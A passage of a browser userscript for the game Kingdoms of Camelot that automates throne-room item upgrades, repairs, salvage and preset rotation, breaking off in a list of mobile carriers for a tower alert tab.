						document.getElementById('ShowStatus').innerHTML = 'UpgraderB accidentally spent gems!  Turning upgrader off!!';
						ThroneOptions.Active = false;
						saveThroneOptions();
					};
					Seed.resources["city" + cityid]["rec5"][0] -= rslt.aetherstones;
					if (rslt["break"]) {
						if (ThroneOptions.Active) ThroneOptions.ibrokeitems.push(params.throneRoomItemId);
						y.isBroken = true;
						y.brokenType = "level";
						y.status = rslt.item.status;
						y.name = y.createName();
					} else {
						y.level = rslt.item.level;
						y.quality = rslt.item.quality;
						y.name = y.createName();
					};
					unsafeWindow.cm.ThroneView.renderInventory(unsafeWindow.kocThroneItems);
					saveThroneOptions();
				}
				return;
			},
			onFailure: function () {
				logit('failure');
				return;
			},
		});
	},
	doRepair: function () {
		var t = Tabs.Throne;
		//cid and aetherstone no longer charged for throne repairs?!?
		/**
        var cityid = 0;
        for (var k in Cities.byID) {
            if ( Seed.resources["city"+k]["rec5"][0] > ThroneOptions.minStones)
            {
               cityid = k;
            }
        }
        if(cityid == 0){
           document.getElementById('ShowStatus').innerHTML = "Not enough aetherstone to enhance";
           return;    
        }
        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
        params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
        params.action = 'timeRepair';
        if(ThroneOptions.ibrokeitems.length)params.throneRoomItemId = ThroneOptions.ibrokeitems[0];
        else params.throneRoomItemId = ThroneOptions.Items["0"]["id"];
        params.cityId = cityid;
                    **/
		if (ThroneOptions.ibrokeitems.length > 0)
			if (unsafeWindow.kocThroneItems[ThroneOptions.ibrokeitems[0]]) {
				if (!unsafeWindow.kocThroneItems[ThroneOptions.ibrokeitems[0]].isBroken) ThroneOptions.ibrokeitems.shift(); //if it's not broke, don't fix it! lol
			} else ThroneOptions.ibrokeitems.shift(); //if it's not there, remove it
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'timeRepair';
		if (ThroneOptions.ibrokeitems.length > 0) params.throneRoomItemId = ThroneOptions.ibrokeitems[0]; //If we still have a broken card, try fixing it
		else params.throneRoomItemId = ThroneOptions.Items["0"]["id"];
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					ThroneOptions.RepairEnd = rslt.eta;
					if (ThroneOptions.Items["0"]) {
						if (params.throneRoomItemId != ThroneOptions.Items["0"]["id"]) ThroneOptions.ibrokeitems.shift();
						else t.repairId = ThroneOptions.Items["0"]["id"];
					} else ThroneOptions.ibrokeitems.shift();
					Seed.queue_throne.itemId = params.throneRoomItemId;
					Seed.queue_throne.start = unixTime();
					Seed.queue_throne.end = rslt.eta;
					t.repairEnd = rslt.eta;
					unsafeWindow.cm.ThroneView.renderInventory(unsafeWindow.kocThroneItems);
					var x = rslt.eta - unixTime();
					ThroneOptions.Good++;
					saveThroneOptions();
				} else {
					if (rslt.error_code == 256) {
						unsafeWindow.kocThroneItems[params.throneRoomItemId].isBroken = false;
						unsafeWindow.kocThroneItems[params.throneRoomItemId].brokenType = "";
						unsafeWindow.cm.ThroneView.renderInventory(unsafeWindow.kocThroneItems);
					};
					//{"ok":false,"error_code":256,"msg":"Item is not broken"}  
					ThroneOptions.Good++;
					saveThroneOptions();
				}
				return;
			},
			onFailure: function () {
				return;
			},
		});
	},
	doEquip: function (n) {
		var t = Tabs.Throne;
		if (typeof (unsafeWindow.kocThroneItems[n]) == 'object') {
			var y = unsafeWindow.kocThroneItems[n];
		} else return;
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		logit(n.toSource());
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'equipItem';
		params.itemId = y.id;
		params.presetId = unsafeWindow.seed.throne.activeSlot;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					unsafeWindow.cm.ThroneView.clickItemEquip(y);
					t.FillEquipCheckboxes(true);
				}
			},
			onFailure: function () {
				return;
			},
		});
	},
	doUnequip: function (n, preset) {
		var t = Tabs.Throne;
		if (typeof (unsafeWindow.kocThroneItems[n]) == 'object') {
			var y = unsafeWindow.kocThroneItems[n];
		} else return;
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		logit(n.toSource());
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'unequipItem';
		params.itemId = y.id;
		params.presetId = document.getElementById("preset").value;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					unsafeWindow.cm.ThroneView.clickItemUnequip(y);
					t.FillEquipCheckboxes(true);
				}
			},
			onFailure: function () {
				return;
			},
		});
	},
	repairTimerUpdate: function () {
		var t = Tabs.Throne;
		try {
			if (ThroneOptions.Items.length == 0) return;
			var now = new Date().getTime() / 1000.0;
			var diff = 0;
			if (Seed.queue_throne.end == undefined) return;
			else diff = Seed.queue_throne.end - now;
			if (diff < 0) {
				clearInterval(t.setRepairTimer);
				if (ThroneOptions.Active) document.getElementById('ShowStatus').innerHTML = "Waiting for timer...";
				else document.getElementById('ShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
				unsafeWindow.kocThroneItems[Seed.queue_throne.itemId].isBroken = false;
				unsafeWindow.cm.ThroneView.renderInventory(unsafeWindow.kocThroneItems);
				Seed.queue_throne = "";
				return;
			} else {
				document.getElementById('ShowStatus').innerHTML = "Repairing on: " + unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]].name + "<br/>Time left: " + timestr(diff) + " (" + timestr(Seed.queue_throne.end - Seed.queue_throne.start) + ")";
				document.getElementById('ShowTries').innerHTML = "Tries: " + ThroneOptions.Tries + "<br />Good requests: " + ThroneOptions.Good + "   Bad requests: " + ThroneOptions.Bad;
			}
		} catch (e) {
			//do nothing
		}
	},
	paintInfo: function () {
		var t = Tabs.Throne;
		if (typeof (unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]]) == 'number') {
			var y = unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]];
		} else return;
		var id = 0;
		var tier = 0;
		var Current = 0;
		var Next = 0;
		m = "<TABLE width=80% height=0% align='center' class=pbTab><TR><TD><B>Current</b></td><TD><B>Next</b></td>";
		for (var O in y["effects"]) {
			var i = +(O.split("slot")[1]);
			id = y["effects"]["slot" + i]["id"];
			tier = parseInt(y["effects"]["slot" + i]["tier"]);
			level = y["level"];
			p = unsafeWindow.cm.thronestats.tiers[id][tier];
			while (!p && (tier > 0)) { tier--; p = unsafeWindow.cm.thronestats.tiers[id][tier]; } 
			if (!p) continue; // can't find stats for tier
			if (y["effects"]["slot"+i].fromJewel && (level > unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality])) {
				level = unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality]
			}
			Current = p.base + ((level * level + level) * p.growth * 0.5);
			level++;
			Next = p.base + ((level * level + level) * p.growth * 0.5);;
			var quality = parseInt(unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]]["quality"]);
			if (ThroneOptions.Items["0"]["action"] == "Enhance") {
				if (i <= quality) m += '<TR><TD><FONT color=green>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td>';
				else m += '<TR><TD><FONT color=red>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td>';
				if (i <= (quality + 1)) m += '<TD><FONT color=green>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
				else m += '<TD><FONT color=red>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
			}
			if (ThroneOptions.Items["0"]["action"] == "Upgrade") {
				if (i <= quality) m += '<TR><TD><FONT color=green>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td>';
				else m += '<TR><TD><FONT color=red>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td>';
				if (i <= quality) m += '<TD><FONT color=green>' + Next + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
				else m += '<TD><FONT color=red>' + Next + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
			}
		}
		m += "</table>"
		document.getElementById('ShowInfo').innerHTML = m;
	},
	paintHoover: function () {
		var t = Tabs.Throne;
		var z = document.getElementById('ThroneItems').value;
		var y = unsafeWindow.kocThroneItems[z];
		var id = 0;
		var tier = 0;
		var Current = 0;
		m = "<TABLE width=80% height=0% align='center' class=pbTab>";
		for (var O in y["effects"]) {
			var i = +(O.split("slot")[1]);
			id = y["effects"]["slot" + i]["id"];
			tier = parseInt(y["effects"]["slot" + i]["tier"]);
			level = y["level"];
			p = unsafeWindow.cm.thronestats.tiers[id][tier];
			while (!p && (tier > 0)) { tier--; p = unsafeWindow.cm.thronestats.tiers[id][tier]; } 
			if (!p) continue; // can't find stats for tier
			if (y["effects"]["slot"+i].fromJewel && (level > unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality])) {
				level = unsafeWindow.cm.thronestats.jewelGrowthLimit[y["effects"]["slot"+i].quality]
			}
			Current = p.base + ((level * level + level) * p.growth * 0.5);
			if (ThroneOptions.Items["0"])
				var quality = parseInt(unsafeWindow.kocThroneItems[ThroneOptions.Items["0"]["id"]]["quality"]);
			else var quality = 0;
			if (i <= quality) m += '<TR><TD><FONT color=green>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
			else m += '<TR><TD><FONT color=red>' + Current + "% " + unsafeWindow.cm.thronestats["effects"][id]["1"] + '</font></td></tr>';
		}
		m += "</table>"
		document.getElementById('ShowHoover').innerHTML = m;
	},
	paintStones: function () {
		var t = Tabs.Throne;
		if (document.getElementById('ShowStones')) {
			m = "<TABLE width=90% height=0% class=pbTab><TR><TD>Aetherstones: </td>";
			for (i = 0; i < Seed.cities.length; i++) m += '<TD>' + Seed.cities[i]["1"] + '</td>';
			m += "</tr><TR><TD></td>"
			for (i = 0; i < Seed.cities.length; i++) m += '<TD>' + addCommas(Seed.resources["city" + Seed.cities[i]["0"]]["rec5"][0]) + '</td>';
			m += "</tr></table>"
			document.getElementById('ShowStones').innerHTML = m;
		}
	},
	addToLog: function (id, action, tries, good, bad) {
		var t = Tabs.Throne;
		var now = new Date();
		var time = now.getDate() + "/" + (now.getMonth() + 1) + "/" + now.getFullYear() + "  " + now.getUTCHours() + ":" + now.getMinutes();
		var name = unsafeWindow.kocThroneItems[id]["name"];
		t.log.push({
			time: time,
			name: name,
			action: action,
			tries: tries,
			good: good,
			bad: bad
		});
		if (t.log.length > 50) t.log.splice(0, 1);
		GM_setValue('ThroneHistory_' + getServerId(), JSON2.stringify(t.log));
	},
	addToSalvageLog: function (msg, stones) {
		var t = Tabs.Throne;
		var now = new Date();
		D = t.addZero(now.getDate());
		M = t.addZero(now.getMonth() + 1);
		Y = t.addZero(now.getFullYear());
		h = t.addZero(now.getHours());
		m = t.addZero(now.getMinutes());
		var time = D + "/" + M + "/" + Y + "  " + h + ":" + m;
		t.SalvageLog.push({
			time: time,
			stones: stones,
			msg: msg
		});
		if (t.SalvageLog.length > 100) t.SalvageLog.splice(0, 1);
		GM_setValue('ThroneSalvageHistory_' + getServerId(), JSON2.stringify(t.SalvageLog));
	},
	addZero: function (i) {
		if (i < 10) {
			i = "0" + i;
		}
		return i;
	},
	salvageCheck: function () {
		var t = Tabs.Throne;
		var del = false; //false by default
		var level = false;
		var type = "";
		var type2 = "";
		var NotUpgrading = true;
		var NotFavorite = true;
		var MinReq = false;
		var number = 0;
		var count = 0;
		var IsUnique = false;
		if (!Options.ThroneDeleteItems) return;
		if (t.SalvageRunning == true) return;
		t.SalvageRunning = true;
		for (m in unsafeWindow.kocThroneItems) {
			y = unsafeWindow.kocThroneItems[m];
			level = false;
			type = "";
			type2 = "";
			NotUpgrading = true;
			NotFavorite = true;
			MinReq = false;
			number = 0;
			count++;
			if (typeof (y.id) == 'number') {
				NotUpgrading = true;
				NotFavorite = true;
				for (k in ThroneOptions.Items) {
					if (ThroneOptions.Items[k]["id"] == y.id) NotUpgrading = false;
				}
				if (count <= (parseInt(Seed.throne.rowNum) * 5) && count > ThroneOptions.saveXitems) {
					//del = true;
					level = false;
					MinReq = false;
					IsUnique = false;
					IsHero = false;
					IsStatue = false;
					IsPet = false;
					IsTapestry = false;
					if (y.quality > ThroneOptions.SalvageQuality) level = true;
					if (y.level > 0) level = true;
					if (ThroneOptions.SaveUnique)
						if (y.unique > 0) IsUnique = true;
					if (ThroneOptions.SalvageQuality == 0) level = true;
					if (ThroneOptions.savehero && y.type == "hero") IsHero = true;
					if (ThroneOptions.savestatue && y.type == "statue") IsStatue = true;
					if (ThroneOptions.savepet && y.type == "pet") IsPet = true;
					if (ThroneOptions.savetapestry && y.type == "tapestry") IsTapestry = true;
					for (i = 1; i <= 5; i++) {
						if (ThroneOptions.Salvage_fav[y.effects["slot" + i].id]) {
							NotFavorite = false;
						};
						for (l = 0; l < unsafeWindow.cm.thronestats.effects[y.effects["slot" + i].id]["2"].length; l++) {
							type = unsafeWindow.cm.thronestats.effects[y.effects["slot" + i].id]["2"][l];
							if (ThroneOptions.Salvage[type]) {
								if (!ThroneOptions.SingleStat) number++
								else {
									if (i >= ThroneOptions.SalvageLevel || ThroneOptions.SalvageA[type].Min > ThroneOptions.SalvageLevel) {
										if (!ThroneOptions.SalvageA[type].cur) ThroneOptions.SalvageA[type].cur = 0;
										ThroneOptions.SalvageA[type].cur++;
									};
								};
							};
						};
						if (ThroneOptions.Salvage[y.effects["slot" + i].id]) {
							if (!ThroneOptions.SingleStat) number++
							else {
								if (i >= ThroneOptions.SalvageLevel || ThroneOptions.SalvageA[y.effects["slot" + i].id].Min > ThroneOptions.SalvageLevel || ThroneOptions.SalvageA[y.effects["slot" + i].id][y.type] > ThroneOptions.SalvageLevel) {
									if (!ThroneOptions.SalvageA[y.effects["slot" + i].id].cur) ThroneOptions.SalvageA[y.effects["slot" + i].id].cur = 0;
									ThroneOptions.SalvageA[y.effects["slot" + i].id].cur++;
								};
							};
						};
					};
					if (ThroneOptions.thronekeep < 1) ThroneOptions.thronekeep = 1;
					if (ThroneOptions.SingleStat) {
						for (h in ThroneOptions.Salvage) {
							if (ThroneOptions.Salvage[h] && ThroneOptions.SalvageA[h].Min > 0 && ThroneOptions.SalvageA[h].cur >= ThroneOptions.SalvageA[h].Min) {
								//logit(''+ThroneOptions.Salvage[h]+' && '+ThroneOptions.SalvageA[h].Min+' > 0 && '+ThroneOptions.SalvageA[h].cur+' >= '+ThroneOptions.SalvageA[h].Min);
								MinReq = true;
							};
							if (ThroneOptions.Salvage[h] && ThroneOptions.SalvageA[h][y.type] && ThroneOptions.SalvageA[h][y.type] > 0 && ThroneOptions.SalvageA[h].cur >= ThroneOptions.SalvageA[h][y.type]) {
								//logit(''+ThroneOptions.Salvage[h]+' && '+ThroneOptions.SalvageA[h].Min+' > 0 && '+ThroneOptions.SalvageA[h].cur+' >= '+ThroneOptions.SalvageA[h].Min);
								MinReq = true;
								//logit('saving '+y.name+' due to '+y.type+' and '+h);
							};
							if (ThroneOptions.SalvageA[h].cur >= ThroneOptions.thronekeep)
								if (ThroneOptions.SalvageA[h].Min == 0)
									number = ThroneOptions.SalvageA[h].cur;
							if (ThroneOptions.SalvageA[h].cur) {
								ThroneOptions.SalvageA[h].cur = 0;
							};
						}
					}
					//logit('y.name '+y.name+' level '+level+' number '+number+' ThroneOptions.thronekeep '+ThroneOptions.thronekeep+' NotUpgrading '+NotUpgrading+' isEquiped '+y.isEquipped+' y.isbroken '+y.isBroken+' y.id '+y.id+' last deleted '+t.LastDeleted+' NotFavorite '+NotFavorite+' MinReq '+MinReq+' is unique '+IsUnique);
					if (!level && number < ThroneOptions.thronekeep && NotUpgrading && !y.isEquipped && !y.isBroken && t.LastDeleted != y.id && NotFavorite && !MinReq && !IsUnique && !IsHero && !IsStatue && !IsPet && !IsTapestry) {
						//logit(y.name);
						t.SalvageArray.push(y.id);
					}
				}
			}
		}
		if (t.SalvageArray.length == 0) {
			t.SalvageRunning = false;
		} else setTimeout(t.doSalvage, 6000);
	},
	doSalvage: function () {
		var t = Tabs.Throne;
		var cityid = 0;
		var cities = [];
		var spirecities = [];
		if (ThroneOptions.Cityrand)
			for (g = 50000; g < 1150001; g += 50000) {
				for (var k in Cities.byID) {
					if (Seed.resources["city" + k]["rec5"][0] < g) {
						var a = getCityBuilding(k, 20);
						if (a.count == 1)
							spirecities.push(k);
						cities.push(k);
					}
				}
				if (ThroneOptions.CitySpire && spirecities.length)
					break;
				if (!ThroneOptions.CitySpire && cities.length)
					break;
			} else
				for (var k in Cities.byID) {
					if (Seed.resources["city" + k]["rec5"][0] < 1000000) {
						var a = getCityBuilding(k, 20);
						if (a.count == 1)
							spirecities.push(k);
						cities.push(k);
					}
				}
				//logit('g is '+g);
		if (ThroneOptions.CitySpire) {
			if (spirecities.toSource != "[]")
				cities = spirecities;
		}
		if (cities.toSource() != "[]") {
			if (ThroneOptions.Cityrand) {
				cityid = cities[Math.floor(Math.random() * cities.length)];
			} else {
				cityid = cities[0];
			}
		}
		if (cityid == 0) cityid = Seed.cities[0][0]; //If all else failss default to city 1
		//logit('cityid '+cityid+' res'+Seed.resources["city"+cityid]["rec5"][0])
		if (ThroneOptions.heatup) t.doUpgradesimple(t.SalvageArray[0]);
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.ctrl = 'throneRoom\\ThroneRoomServiceAjax';
		params.action = 'salvage';
		params.itemId = t.SalvageArray[0];
		params.cityId = cityid;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
			method: "post",
			parameters: params,
			loading: true,
			onSuccess: function (transport) {
				var rslt = eval("(" + transport.responseText + ")");
				if (rslt.ok) {
					y = unsafeWindow.kocThroneItems[params.itemId];
					z = unsafeWindow.cm.thronestats.effects;
					var msg = (y.name + " (" + z[y.effects["slot1"].id]["2"] + "/" + z[y.effects["slot2"].id]["2"] + "/" + z[y.effects["slot3"].id]["2"] + "/" + z[y.effects["slot4"].id]["2"] + "/" + z[y.effects["slot5"].id]["2"] + ")");
					t.addToSalvageLog(msg, rslt.aetherstones);
					delete unsafeWindow.kocThroneItems[params.itemId];
					unsafeWindow.cm.ThroneView.renderInventory(unsafeWindow.kocThroneItems);
					//unsafeWindow.kocThroneItems[params.itemId].salvage();
					if (t.curTabName == 'EQ')
						t.FillEquipCheckboxes(true);
				} else {
					t.addToSalvageLog("Salvage Failed :(", "");
				}
			},
			onFailure: function () {
				return;
			},
		});
		t.SalvageArray.splice(0, 1);
		t.LastDeleted = params.itemId;
		if (t.SalvageArray.length > 0) setTimeout(t.doSalvage, 6000);
		else {
			t.SalvageRunning = false;
			t.salvageCheck();
		}
	},
	ThroneHUDinit: function () {
		var t = Tabs.Throne;
		var div = document.createElement('div');
		var m = '<TABLE cellpadding=0 cellspacing=0 align="center" height=0% class=pbTab><TR>';
		for (var k = 1; k < Number(Seed.throne.slotNum + 1); k++) {
//			if (k == 9) m += '</TR><TR>';
			m += '<TD><INPUT id=htra' + k + ' type=submit value=' + k + ' class="pbttabs" title=' + ThroneOptions.tabnames[k] + '></td>';
		};
		m += '</TR></table><br>';
		div.innerHTML = m;
		div.style.position = "absolute";
		div.style.top = "29px";
		div.style.width = "390px";
		div.style.right = "170px";
		div.id = "ThroneHUD";
		div.style.zIndex = "20000";
		par = document.getElementById('mod_maparea');
		par.insertBefore(div, par.firstChild);
		for (var k = 1; k < Number(Seed.throne.slotNum + 1); k++)
			document.getElementById('htra' + k).addEventListener('click', function (e) {
				t.doPreset(e.target.value)
			}, false);
		document.getElementById('htra' + unsafeWindow.seed.throne.activeSlot).disabled = true;
		document.getElementById('htra' + unsafeWindow.seed.throne.activeSlot).className = "pbttabsdis";
		try {
			function hudSlotWatcher(id, oldval, newval) {
				try {
					setTimeout(Tabs.Throne.throneHUDredraw, 200);
				} catch (e) {}
				return newval;
			};
			// If the preset is changed, update the displays
			Seed.throne.multiWatch("activeSlot", hudSlotWatcher);
			// some of the seed updates replace the seed.throne value.  when this happens reinstall the watcher
			Seed.multiWatch("throne", function (id, oldval, newval) {
				// register with the seed so we know when the throne object is replaced
				try {
					// add a new watcher / remove the old one
					if (oldval.multiUnwatch) oldval.multiUnwatch("activeSlot", hudSlotWatcher);
					// if another script create this object, the prototypes won't be defined.  If so, add the functions manually
					if (!newval.multiWatch) {
						newval.multiWatch = Object.prototype.multiWatch;
						newval.multiUnwatch = Object.prototype.multiUnwatch;
					}
					newval.multiWatch("activeSlot", hudSlotWatcher);
				} catch (e) {
					logit(" Error in handler for throne watch" + e.toString());
				}
				return newval;
			});
		} catch (e) {}
	},
	ThroneT: function () {
		var t = Tabs.Throne;
		var m = '<DIV  class=pbStat>Throne room toggle</div><center><TABLE height=0% class=pbTab><TR align="center">';
		for (var k = 1; k < Number(Seed.throne.slotNum + 1); k++) {
			m += '<TD><INPUT id=autotr' + k + ' type=checkbox ' + (ThroneOptions.autotoggle[k] ? 'CHECKED ' : '') + '/><INPUT id=tra' + k + ' type=submit value=' + k + '><br><input type="text" id=trt' + k + ' size=10 value=' + ThroneOptions.tabnames[k] + '></td>';
			if (k == 8) m += '</TR><TR>';
		};
		m += '</TR></table>' + translate('Will auto change to checked Throne rooms and rotate when afk') + '<br><br><button id=ttptc>Post to chat</button> <br>';
		m += '<table><TD><DIV id=ThroneTRS></div></td></table>';
		t.Overv.innerHTML = m;
		for (var k = 1; k < Number(Seed.throne.slotNum + 1); k++) {
			document.getElementById('tra' + k).addEventListener('click', function (e) {
				t.doPreset(e.target.value)
			}, false);
			document.getElementById('trt' + k).addEventListener('change', function () {
				ThroneOptions.tabnames[Number(String(this.id).replace(/trt/, ""))] = this.value;
				saveThroneOptions();
			}, false);
			document.getElementById('autotr' + k).addEventListener('click', function () {
				ThroneOptions.autotoggle[Number(String(this.id).replace(/autotr/, ""))] = this.checked;
				saveThroneOptions();
			}, false);
		};
		t.TTpaint(unsafeWindow.seed.throne.activeSlot);
		document.getElementById('tra' + unsafeWindow.seed.throne.activeSlot).disabled = true;
		document.getElementById('ttptc').addEventListener('click', t.TTpoststats, false);
	},
	TTpaint: function (room) {
		var t = Tabs.Throne;
		m = '<table><td><DIV  class=pbStat>Throne slot ' + room + ' is equiped</div></td></table><br>';
		for (var k = 0; k < unsafeWindow.seed.throne.slotEquip[room].length; k++) {
			var item = unsafeWindow.seed.throne.slotEquip[room][k];
			m += '<li>' + unsafeWindow.kocThroneItems[item].name;
		};
		if (document.getElementById('ThroneTRS'))
			document.getElementById('ThroneTRS').innerHTML = m;
		setTimeout(t.TTpaintstats, 300);
	},
	TTpaintstats: function () {
		if (!document.getElementById('ThroneTRS')) return;
		if (document.getElementById('ThroneTRS').innerHTML.indexOf('The below values are alpha and may not be accurate') != -1) return;
		m = document.getElementById('ThroneTRS').innerHTML;
		m += '<br><table><font color=red>The below values are alpha and may not be accurate<br> please inform of inaccuracies via https://code.google.com/p/koc-power-bot/issues/list</font>';
		for (i in unsafeWindow.cm.thronestats.effects) {
			//            var z = unsafeWindow.cm.ThroneController.effectBonus(Number(i));
			var z = equippedthronestats(Number(i));
			if (z != 0) {
				m += '<tr><td>' + unsafeWindow.cm.thronestats.effects[i][1] + '</td><td>' + z + '%</td></tr>';
			}
		};
		m += '</table></div>';
		document.getElementById('ThroneTRS').innerHTML = m;
	},
	TTpoststats: function () {
		var m = ':::.|Throne Room #' + unsafeWindow.seed.throne.activeSlot;
		for (i in unsafeWindow.cm.thronestats.effects) {
			if (i < 94) {
				var z = unsafeWindow.cm.ThroneController.effectBonus(Number(i));
				if (z != 0) {
					m += '||' + unsafeWindow.cm.thronestats.effects[i][1] + ': ' + z + '%';
				}
			};
		};
		sendChat("/a " + m);
	},
	throneHUDredraw: function () {
		var trm = unsafeWindow.seed.throne.activeSlot;
		if (document.getElementById('tra' + trm)) {
			for (a = 1; a <= Seed.throne.slotNum; a++)
				document.getElementById('tra' + a).disabled = false;
			document.getElementById('tra' + trm).disabled = true;
		};
		if (document.getElementById('ThroneHUD')) {
			for (a = 1; a <= Seed.throne.slotNum; a++) {
				document.getElementById('htra' + a).disabled = false;
				document.getElementById('htra' + a).className = "pbttabs";
			};
			document.getElementById('htra' + trm).disabled = true;
			document.getElementById('htra' + trm).className = "pbttabsdis";
		};
	},
	rotatethrone: function () {
		var t = Tabs.Throne;
		if (isAFK && !Options.alertConfig.RecentActivity) {
			var activeSlot = Number(Seed.throne.activeSlot);
			var foundone = false;
			for (k = activeSlot + 1; k <= Number(Seed.throne.slotNum); k++) {
				if (ThroneOptions.autotoggle[k]) {
					t.doPreset(k);
					foundone = true;
					break;
				}
			}
			if (!foundone) {
				for (k = 1; k <= Number(Seed.throne.slotNum); k++) {
					if (ThroneOptions.autotoggle[k]) {
						t.doPreset(k);
						foundone = true;
						break;
					}
				}
			}
			/***
		
Complex loop that browsers can't handle =/. replaced with multiple loops above.		
		
			for (k=activeSlot+1;k != activeSlot;k++) {
				if(k > Number(Seed.throne.slotNum)) k = 1;
				//logit('k is '+k);
				if(ThroneOptions.autotoggle[k]) {
				t.doPreset(k);
				break;
			}
		}
		
		***/
		}
	},
	hide: function () {},
	show: function () {
		var t = Tabs.Throne;
		if (t.curTabName == 'Sal')
			t.Salvage();
		else if (t.curTabName == 'UE')
			t.Upgrade_Enhance();
		else if (t.curTabName == 'EQ')
			t.Compare();
		else if (t.curTabName == 'TC')
			t.Caps();
		else if (t.curTabName == 'TR')
			t.ThroneT();
		else if (t.curTabName == 'UN')
			t.Uniques();
	},
}

function FullDateTime(str){
 	var time = new Date(str*1000);
	D = addZero(time.getDate());
	M = addZero(time.getMonth()+1);
	Y = addZero(time.getFullYear());
	h = addZero(time.getHours());
	m = addZero(time.getMinutes());
	s = addZero(time.getUTCSeconds());
	var fullDate =  D +"/"+ M +"/"+ Y +"  "+ h + ":" + m + ":" + s;
	return fullDate;
}
function addZero(i){
	if (i<10) i="0" + i;	 
	return i;
}
/****************************  Tower Tab  ******************************/
Tabs.tower = {
	tabOrder: 1,
	tabLabel: 'Tower',
	myDiv: null,
	generateIncomingFunc : null,
	fixTargetEnabled : false,
	secondTimer : null,
	soundPlaying : false,
	defMode : {},  
	soundRepeatTimer : null,
	soundStopTimer : null,
	towerMarches: [],
	updatemarchfunc : null,
	origUCL : null,
	Providers : {
        0: { 'country': "--Country--", 'provider': "--Provider--" },
        1: { 'country': "AUSTRALIA", 'provider': "T-Mobile" },
        2: { 'country': "AUSTRALIA", 'provider': "Optus Zoo" },
        3: { 'country': "AUSTRIA", 'provider': "T-Mobile" },
        4: { 'country': "BULGARIA", 'provider': "Mtel" },
        5: { 'country': "BULGARIA", 'provider': "Globul" },
        6: { 'country': "CANADA", 'provider': "Aliant" },
        7: { 'country': "CANADA", 'provider': "Bell Mobility" },
        8: { 'country': "CANADA", 'provider': "Fido" },
        9: { 'country': "CANADA", 'provider': "MTS Mobility" },
        10: { 'country': "CANADA", 'provider': "Rogers Wireless" },
        11: { 'country': "CANADA", 'provider': "Sasktel Mobility" },
        12: { 'country': "CANADA", 'provider': "Telus" },
        13: { 'country': "CANADA", 'provider': "Virgin Mobile" },
        14: { 'country': "CANADA", 'provider': "Presidents Choice" },
        15: { 'country': "GERMANY", 'provider': "T-Mobile" },
        16: { 'country': "GERMANY", 'provider': "Vodafone" },
        17: { 'country': "GERMANY", 'provider': "O2" },
        18: { 'country': "GERMANY", 'provider': "E-Plus" },
        19: { 'country': "ICELAND", 'provider': "OgVodafone" },
        20: { 'country': "ICELAND", 'provider': "Siminn" },
        21: { 'country': "INDIA", 'provider': "Andhra Pradesh AirTel" },
        22: { 'country': "INDIA", 'provider': "Andhra Pradesh Idea Cellular" },
        23: { 'country': "INDIA", 'provider': "Chennal Skycell Airtel" },
        24: { 'country': "INDIA", 'provider': "Chennel RPG Cellular" },
        25: { 'country': "INDIA", 'provider': "Delhi Airtel" },
        26: { 'country': "INDIA", 'provider': "Delhi Hutch" },
        27: { 'country': "INDIA", 'provider': "Gujarat Idea Cellular" },
        28: { 'country': "INDIA", 'provider': "Gujaret Airtel" },
        29: { 'country': "INDIA", 'provider': "Gujaret Celforce" },
        30: { 'country': "INDIA", 'provider': "Goa Airtel" },
        32: { 'country': "INDIA", 'provider': "Goa Idea Cellular" },
        33: { 'country': "INDIA", 'provider': "Haryana Airtel" },
        34: { 'country': "INDIA", 'provider': "Haryana Escotel" },
        35: { 'country': "INDIA", 'provider': "Himachal Pradesh Airtel" },
        36: { 'country': "INDIA", 'provider': "Karnataka Airtel" },
        37: { 'country': "INDIA", 'provider': "Kerala Airtel" },
        38: { 'country': "INDIA", 'provider': "Kerala Escotel" },
        39: { 'country': "INDIA", 'provider': "Kerala BPL Mobile" },
        40: { 'country': "INDIA", 'provider': "Kolkata Airtel" },
        41: { 'country': "INDIA", 'provider': "Madhya Pradesh Airtel" },
